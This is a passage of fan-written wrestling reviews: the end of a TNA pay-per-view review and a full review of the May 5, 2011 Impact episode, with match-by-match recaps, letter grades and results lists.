Shock Treatment doesn’t work as Crimson gets a double arm DDT for two.  Abyss comes back again and a Vader Bomb gets two.  Corner splash misses and Crimson gets a Sky High Powerbomb (Red Sky) to end this.  That’s a good finisher for him as that Red Alert is almost impossible to hit on big guys.

Rating: C. This is a good example of a match that got better with the finish.  Abyss not having enough to put Crimson down is a nice addition to his whole undefeated streak.  Better than I expected and not bad at all for a battle of the big men.  Crimson could be something interesting if pushed right but they need to get him onto something significant quickly.

We recap Beer Money vs. Matt/Harris which is a weird team to say the least.  Basic idea is Harris knows Storm so that’s their advantage.

Tag Titles: Beer Money vs. Matt Hardy/Chris Harris

 

The former partners start us off as Harris’ tights say America’s Most Wanted.  The fans chant Braden Walker and it’s off to Matt before any contact.  The champs take over on Matt as Walker is indeed bigger than he was the last time we saw him.  Now it’s Harris in against Storm’s new “partner”.  Off to Storm now and Harris runs off as Storm glares at him.

The challengers keep using AMW moves on Storm in an attempt at psychology but the gut of Harris keeps covering it up.  Codebreaker out of nowhere puts Matt down but Storm needs a tag.  Double tag to ZERO reaction and Roode plays face in peril again.  Roode gets his back worked on via a middle rope elbow by Hardy and it’s off to a gutwrench.

Finally off to Storm who gets to beat on Harris.  Skin the cat sets up an elevated DDT to Harris.  Reverse tornado DDT gets two for Storm.  He likes those DDTs I guess.  Matt breaks up DWI but it’s a Backstabber for him.  Catatonic doesn’t work and Roode hits a spinebuster to Harris.  The Beer Money shout sets up a superkick to Harris but Storm doesn’t want to do DWI.  Instead it’s the Death Sentence (Trash Compactor for you REALLY old school fans) and Harris is done.  Matt apparently just walked off and left Harris somewhere near the end.

Rating: C-. Just a match here as Harris dragged this WAY down.  He’s terribly out of shape and his selling and timing were way off.  It seems like the Harris thing is probably going to lead to an AMW reunion because that’s the best way to use a guy like Storm right?  Either way, weak match and not much to write home about at all.

Ray yells at Borash a bit “because he can.”  JB asks about Dreamer and Ray says it’s none of his business.  Ray and Dreamer know why Dreamer is doing what he’s doing and JB doesn’t need to know.  Apparently AJ needs to drink, listen to rock and roll and chase women.  Ray threatens AJ’s family, including implying sex with AJ’s wife.

Tommy Dreamer vs. AJ Styles

 

Very basic technical match to start and remember that this is no DQ.  Why Immortal isn’t out there destroying AJ immediately eludes me but whatever.  Dreamer takes over for a bit and drops a bunch of elbows.  Out to the floor and AJ hits a plancha to take over.  AJ pours a soda over Dreamer’s head and crotches him on the railing.  He slides under the railing and it’s forearm time.  Love that move.

Out into the crowd because that’s just what we do.  The fans chant ECW which is I guess what TNA wants to do.  Dreamer breaks a cardboard Impact (no wrestling) sign over his head and AJ is bleeding from around the temple.  Back to ringside and it’s time for some weapons.  AJ gets a shot in and there’s a table.  Table gets set up as the fans want fire.  AJ uses the table like a launch ramp for a clothesline in the corner for two.

DDT by Dreamer gets two as AJ is under the ring ropes.  I love little rules like that which are cool while there are all kinds of weapons in the ring.  Dreamer finds a fork for a throwback to their I Quit match but AJ blocks it.  Dreamer’s shirt is off and I’m very glad he has a muscle shirt under it.  The table legs are broken but AJ says Dreamer is going through it.

Dreamer gets a shot in and sets for the Dreamer Driver only to get caught with a Pele.  Styles Clash is set but Ray comes in with a chain shot to AJ.  Daniels comes out for the save but AJ is more or less dead.  Piledriver through the table marks the second time that Tommy Dreamer has pinned AJ Styles on PPV.  I give up.

Rating: C-. Tommy Dreamer has pinned AJ Styles twice on PPV in less than a year.  Dude, WHY IS TOMMY DREAMER PINNING AJ STYLES ON PPV???  The match was just ok but at the same time it was nothing past a basic hardcore match and Ray coming in was about as not shocking as anything you could have asked it to be.

We recap the Jarretts vs. Angle/Chyna.  Basically Chyna is there to take care of Karen and that’s about it.  Velvet Sky was the prime suspect and that went nowhere.

Jeff Jarrett/Karen Jarrett vs. Kurt Angle/Chyna

 

This should be….interesting.  Christy points out that it’s guy on guy and girl on girl.  Those exact words.  TNA seems rather sexually frustrated tonight for some reason.  Chyna looks like Captain America.  We get a vague reference to Chyna and Jarrett feuding over the IC Title back in WWF without saying any of that of course.  The guys start because we haven’t seen that in awhile right?

Loud Angle chant to start us off as Karen is about to cry.  Chyna’s Gonna Kill You according to the crowd.  Chyna gets tagged in and Karen hides on the floor.  Jeff sneaks around and comes in as apparently he’s still legal so Kurt doesn’t have to be tagged in.  Ankle lock goes on but Karen’s distraction leads to her being almost fed to Chyna.  Gorgeous dropkick by Jeff puts Kurt down.

The fans want Chyna which means she might do a total of one move.  Jeff and Kurt do the majority of the work here as you would expect them to.  Kurt snaps back into it (OH YEAH!) and a belly to belly gets two.  Angle Slam can’t hit and it’s Rolling Germans time.  Jeff takes over again and says it’s over.  Stroke is countered into the ankle lock but Jeff escapes.  Angle Slam hits for two.

Chyna finally gets tagged in and (mostly) slams Jeff.  Supelx looks a bit weird and Karen says I love you but no.  Chyna goes after Karen in full on stalker mode but Karen walks into Kurt in the ring.  Chyna gets her and hits a splash/clothesline in the corner.  Pedigree hits and Tenay calls it a DDT.  That has to be better than the powerbomb.  Ankle lock goes on but Jeff won’t let her tap.  Angle grabs one on Jarrett and Karen taps.

Rating: C. I’m not sure what to grade this so we’ll go with it right in the middle.  While it wasn’t much, this was more or less exactly what they had to do.  Chyna isn’t tested in the ring recently and Karen can’t wrestle so they let the guys have a quick match and let Chyna hit like two moves to end it.  The feud is likely going to continue unless they had the weakest blowoff in recent memory.  Not great, but exactly what it was destined to be.

We get the same recap video from Impact (I think).  Nothing of note here: RVD never lost the title, Sting handpicked him for the rematch.

TNA World Title: Rob Van Dam vs. Sting

 

Anderson, in a Packers Favre jersey and with a laptop at the table apparently, is going to sit in on commentary.  I think he’s doing a live chat during the PPV.  No big match intros here.  Very basic and technical stuff to start us off which is a theme tonight.  Both guys miss moves and Van Dam hits the floor for a breather.  That’s a borderline heel move.

RVD takes over as Anderson mentions the heelish aspects to him tonight.  A spinwheel kick in the corner misses as does a Stinger Splash as we head to the floor.  Van Dam tries a leg drop off the railing and hits railing, possibly hurting his knee.  Into the crowd again as Van Dam reverses a whip into a wall or something.  Anderson makes PG jokes because those haven’t been done in SO long right?

Van Dam gets kicked into a guard rail up in the crowd and both guys are down.  Sting gets kicked down the stairs and dove on in a cool spot.  Back in the ring and it’s the kick off the top by Van Dam as this has been the main event brawl so far.  Knees to the back counter Rolling Thunder and Sting is fired up.  Another Stinger Splash misses in the corner as does the Five Star.

Rollup gets two for Sting and the Death Drop actually hits for….the completely clean pin out of absolutely nowhere.  That’s one of the most anticlimactic endings I have ever seen in my entire life.  Anderson kept running his mouth the entire time and again, absolutely nothing happened here.  He has something special for Sting on Impact apparently.

Rating: C-. Sweet goodness man TNA can’t get a main event to work well for the life of them it seems.  Sting winning isn’t a shock but there was NOTHING as far as an ending sequence there.  Literally Sting grabbed the move, hit it and we were done.  No kickouts, not big segment, just a totally clean win.  Not a bad match, but dude, that’s it?

Anderson goes to the ring and stares him down and we’re out.

Overall Rating: C+. This was such a played close to the vest show that it was unreal.  It was a decent show and there isn’t a bad match on the card, but nothing is great at all and the best match is only good at best, being the X Title match.  It’s a decent enough show but it’s a show that didn’t need to exist for the most part.  Nothing really happened here and other than Chyna’s first match in like ten years, nothing is going to be memorable about this as far as I can tell.  Decent enough show though and it held my interest for about 90% of it, but definitely not worth $40 or whatever it costs.

Results

Mexican America b. Ink Inc – Sitout Dominator to Neal

Brian Kendrick b. Robbie E – Leg lariat

Mickie James b. Madison Rayne – Pin after Tara hit Rayne with a loaded glove

Kazarian b. Max Buck – Shining Wizard

Crimson b. Abyss – Red Sky

Beer Money b. Matt Hardy/Chris Harris – Death Sentence to Harris

Tommy Dreamer b. AJ Styles – Piledriver through a table

Kurt Angle/Chyna b. Jeff Jarrett/Karen Jarrett – Ankle lock to Karen Angle

Sting b. Rob Van Dam – Scorpion Death Drop




Impact – May 5, 2011 – Well They Couldn’t Be Good Forever

Impact
Date: May 5, 2011
Location: Impact Zone, Orlando, Florida
Commentators: Mike Tenay, Taz
Episode Title: The Network is Coming

We’ve got two weeks before Sacrifice and things are starting to take shape before the PPV.  The main thing from last week to carry over here is the possibility of Angle’s mistress being revealed.  Aside from that though there really isn’t much to talk about for tonight’s show.  I’d assume some more matches will be officially announced for the PPV but that’s about it.  Let’s get to it.

We open with a recap of the Network issues as Hogan is ticked off about the whole thing.  The episode is called The Network is Coming.  Gee that doesn’t sound familiar at all.

We open with Sting and RVD coming to the ring and see that Immortal is in the ring waiting on them.  Snow, Diamond and Brown come out to prevent the fight which the fans want to see.  Hogan says that if Sting knows something about the representative, tell him right now.  There’s going to be a representative here next week and he, no SHE will be here to talk to Hogan face to face.

Hogan tries to charge Sting and Van Dam but D’lo Brown holds Hulkster back.  That doesn’t last though as Immortal jumps the agents and the fight is on.  Fourtune comes out to even the sides and clear the ring.  Roode takes the mic and says the usual stuff about Fourtune building the company and Hogan/Bischoff cashing in on their work.  He thought he knew Hogan but this Hogan has no pride.  Roode earns his pay and puts food in his kids’ mouth.  He’s a blue collar worker and has earned what he has.  What has Hogan earned?

Roode references Jay Lethal’s recent release (called a firing here) and says that Lethal was a guy that did what he asked every single week.  I guess that means when he actually got on TV.  Roode says his name is Bobby Roode and things are going to start to change next week.  Nice to see someone get some mic time in Fourtune other than Daniels or Styles.

The Jarretts get Velvet out of the shower and say Hogan has let them issue an ultimatum and she needs to get to the ring now.

Matt Hardy says he was/is one half of the best tag teams of all time.  He’s going to give someone a call and that person is going to come and the two of them will challenge Beer Money for the tag titles.

Suicide vs. Sangriento

 

Suicide controls to start until Sangriento (means bloody or bloodthirsty) gets a DDT onto the apron.  And of course a random masked luchador is nothing at all like Sin Cara in the slightest.  Sin Cara is an actual superstar in Mexico as opposed to a made up character here.

Suicide hits his usual unique offense which can’t keep Sangriento down though.  Middle rope dropkick to the back of the head and a rana from the middle rope both get two for Sangriento.  Suicide fights back and tries his half breed cousin of the Angle Slam.  Sangriento counters and gets a cool looking move as he springboards off the middle rope (think a Lionsault) but goes backwards into a cutter to end this at 3:50.  Cool ending.

Rating: C. Not much of a debut here but the ending was a fairly unique move which is hard to pull off in today’s product.  Sangriento is probably going to wind up meaning nothing like the majority of the X-Division guys.  Either way though, cool move by taking a guy already on the roster (Amazing Red) and giving him something new to do.

Hogan and Bischoff try to figure out who the representative is and think it could be Flair.  Sting said the one coming next week was female but also said that it was a representative and not necessarily the representative so that’s not a plot hole.

Back with Mexican America in the ring and it’s time for their Cinco de Mayo celebration.  They talk about the history of the holiday which is in memory of the Mexican army winning a major battle.  Sarita calls in the Spanish announce team and say bring their own tequila, which they happen to have.  The team is Hector Guerrero (Eddie’s big brother) and Willie Urbina (not sure on the spelling of that).

Anarquia doesn’t like Urbina because he’s Puerto Rican and not Mexican.  They take him down and Hector isn’t happy.  Anarquia looks a lot like Chavo.  The heels threaten Hector and Ink Inc of all people come out for the save.  They say get out and hold up the flag.  I guess we’re just supposed to forget the issues they were having when Shannon was being a jerk?

Christopher Daniels/AJ Styles vs. Bully Ray/Gunner

 

Gunner is being pushed as the stopper for Immortal.  Ray and Daniels start but Daniels tags out almost immediately to let AJ fight Ray but the Bully runs off to bring in Gunner.  The good guys work over Gunner until Ray interferes and we enter the tag team formula.  Mickie is defending the title against Tessmacher later tonight.  She gets a title match why exactly?

After Daniels gets beaten down for a bit it’s hot tag to AJ who cleans house, hitting the springboard forearm to Gunner.  Pele looks to set up the springboard 450 but Ray breaks it up and everything breaks down.  The fans want D-Von as Ray gets his chain.  Tommy Dreamer runs in for the save…..and piledrivers AJ for the DQ.  Tommy Dreamer has turned heel and this is a no contest instead of a DQ for no apparent reason.  Ray says good choice and Dreamer doesn’t look happy.  Match ran about 4:10.

Rating: C. Not a terrible match here but dude…..Tommy Dreamer?  So AJ is now feuding with the ECW guys?  At least they let Gunner do most of the work as he isn’t that bad in the ring.  AJ vs. Ray could be a pretty good blowoff match if they let them fight.  Other than that though, nothing of note to see here.

Back and Dreamer is MAD.  He’s wrecking everything in sight and won’t talk to anyone.  I’m guessing he wasn’t doing that because he wants to.

AJ can’t feel his fingers and they’re looking for a doctor and ice.  Fourtune thinks this is about EV 2 or something but they’re not sure.  AJ says either they get answers or Dreamer is taking a beating.

Matt is on the phone and Ray comes up.  Ray wants to know how “he” is doing and Matt says good.  Ray says Dreamer did what he has to do to keep himself in this company.  That makes things seem a bit better.  It’s gotten so bad for Immortal they have to get TOMMY DREAMER to help them?

The Jarretts and Velvet are up next.

Winter gives pills to Angelina and says soon she won’t need them anymore.  Winter talks about their souls connecting when they first met which Angelina doesn’t remember.  She’s crossed eons of time to find her again and Angelina will remember soon.  She kisses Angelina on the cheek and says come with her.  This might not end well.

Here are the Jarretts for their weekly continuance of this feud that will not die.  They call out Velvet and say that every Knockout has been a champion other than her.  I guess the tag titles don’t mean anything.  More accusations are made by the Karen who says that Velvet is sleeping with Kurt to get herself noticed.  Velvet denies it and makes fun of Karen like last week.  She’s never been champion but that’s her goal now.  Velvet says she has business to take care of so Karen makes more fun of her for it and somehow makes Winter/Angelina vs. Velvet.

Winter and Angelina come out but before we get going here’s Kurt for more talking.  Apparently the Network has made the main event a mixed handicap match with Angle/Velvet vs. Jarrett/Angelina/Winter.  Is there anyone in TNA that can’t make matches?

Bischoff is ticked off in the back when Terry and Murphy come up and say they can help.  Eric is all ticked off and makes them fight with the loser leaving TNA.

Back and Crimson is looking for Joe with a metal object in hand.

Rob Terry vs. Murphy

 

They slug it out to start and a clothesline doesn’t really hurt either guy.  Loser leaves TNA/Immortal remember.  Murphy takes over until Terry fires back with raw power to a moderate face pop.  Other than that the crowd doesn’t seem to care.  Half belly to back suplex/half chokeslam by Murphy and he goes up top and a top rope clothesline gets two.  The announcers say loser leaves Immortal so I’m not sure which it is here.  Terry more or less Hulks Up and hits a modified Jackhammer to end this at 3:20.

Rating: D. So?  Really, so what?  I guess at the same time this gets rid of Murphy so that helps a bit.  Nothing of note here as it was just a quick battle of power.  There’s nothing to say here but I guess it lets Terry, who has more potential than Murphy, stick around and have something to do.

Hogan says both of them are out of Immortal.  Ok then.  He and Bischoff keep brainstorming on who the network person could be as they’re running out of time.

 

Joe is just getting here an hour and 22 minutes into the show.  Crimson pops up with a sledgehammer and says the next time someone is beating Joe down he’ll turn his head just like Joe did last week.  Joe says he never asked for help.  Crimson says stay out of his way or else.  Joe wants to know if that’s a threat and Crimson says take it however you want to.

Knockouts Title: Miss Tessmacher vs. Mickie James

 

Tessmacher takes the glasses off and bends over to pick them up.  Well it’s not like she’s here for her in ring abilities.  Basic stuff here as Tessmacher does gymnast stuff while Mickie walks her through the match.  Victory Roll gets two for Tessmacher and she fires the worst enziguri I’ve ever seen for two.  Off to the arm by Tessmacher for a bit before Mickie makes her comeback with a bunch of clotheslines.  Neckbreaker sets up a terrible looking jumping DDT to end it at 3:52.

Rating: D. Match sucked, girls were hot.  That sums up the entire match as that’s the entire reason Tessmacher was out there.  Mickie can’t really do much with this kind of opponent, especially with her shoulder not being 100% still.  I can’t imagine what Tessmacher is going to do but she looks good so I can’t complain that much.

Madison and Tara come out and Madison wants a rematch for the title.  Mickie says cool but Tara’s freedom is on the line too.

Brian Kendrick, Generation Me and Amazing Red are ticked off about Lethal being fired and are going to see Bischoff about it.

The aforementioned X guys come up to Eric who is getting coffee.  They want to know what they have to do to get a shot.  Eric says he cares about them and says their solution is to grow about a foot and a half and throws coffee on Kendrick.  So we’re using the Eddie Guerrero situation in WCW as a storyline now?

We hear from Sting and RVD about the match at Sacrifice.  RVD says he deserves a title shot and Sting says he respects Van Dam.  Anything can happen there.  Somehow that took three minutes to say.

Winter/Angelina Love/Jeff Jarrett vs. Velvet Sky/Kurt Angle

 

This actually gets big match introductions including a slow bell ring.  Winter vs. Velvet to start us off and it’s off to Angelina quickly.  Nothing Velvet does hurts her until a spear puts Angelina down.  Velvet gets in Karen’s face which lets Angelina get up and get a boot in as we take a break.  Back with Angelina working on Velvet some more and a double team suplex takes Sky down again.

Off to the guys and Jarrett blocks the Angle Slam with an armdrag to take over.  Sunset flip is rolled through into the ankle lock and Jarrett kind of taps but it doesn’t count.  Karen tries to cheat and Kurt pulls her in as he pulls Jeff out from the ropes.  Velvet tags herself in to get at Karen but the other chicks beat her down before Karen gets hurt.  Double DDT takes the two chicks down and actually gets the pin on Winter at 8:15 including commercial.

Rating: D. Another weak match here as nothing of note happens as we’re still waiting to get to the point with the reveal of the chick that Angle has so that we can set up a mixed tag or whatever to continue this already far too long feud.  Nothing special here at all and a really weak main event.

Kurt says the chosen one is here next week and isn’t Velvet.

Hogan and Bischoff are still talking about the network guy and their car has “You’re Next” spraypainted on it.  The X guys are behind it and apparently did it with even Eric saying it’s not Goldberg.

Overall Rating: D. Not the worst show TNA has ever done but at the same time there was a lot of stuff here that bored me to death.  The Jarretts/Velvet stuff is going nowhere really and seems like it’s just padding before we get to something.  Again they’re setting up for an Impact rather than the PPV which usually makes for a really lackluster PPV, which is never a good thing.  Everything is kind of in neutral at this point as we wait for the reveal of a network executive, who I’m assuming is the big one next week, even though they left a door open to continue it.  Weak show here after a string of good ones.

Results

Sangriento b. Suicide – Springboard Cutter

AJ Styles/Daniels vs. Bully Ray/Gunner went to a no contest when Tommy Dreamer interfered

Rob Terry b. Murphy – Spinebuster

Mickie James b. Miss Tessmacher – Jumping DDT

Kurt Angle/Velvet Sky b. Angelina Love/Winter/Jeff Jarrett – Sky pinned Winter after a DDT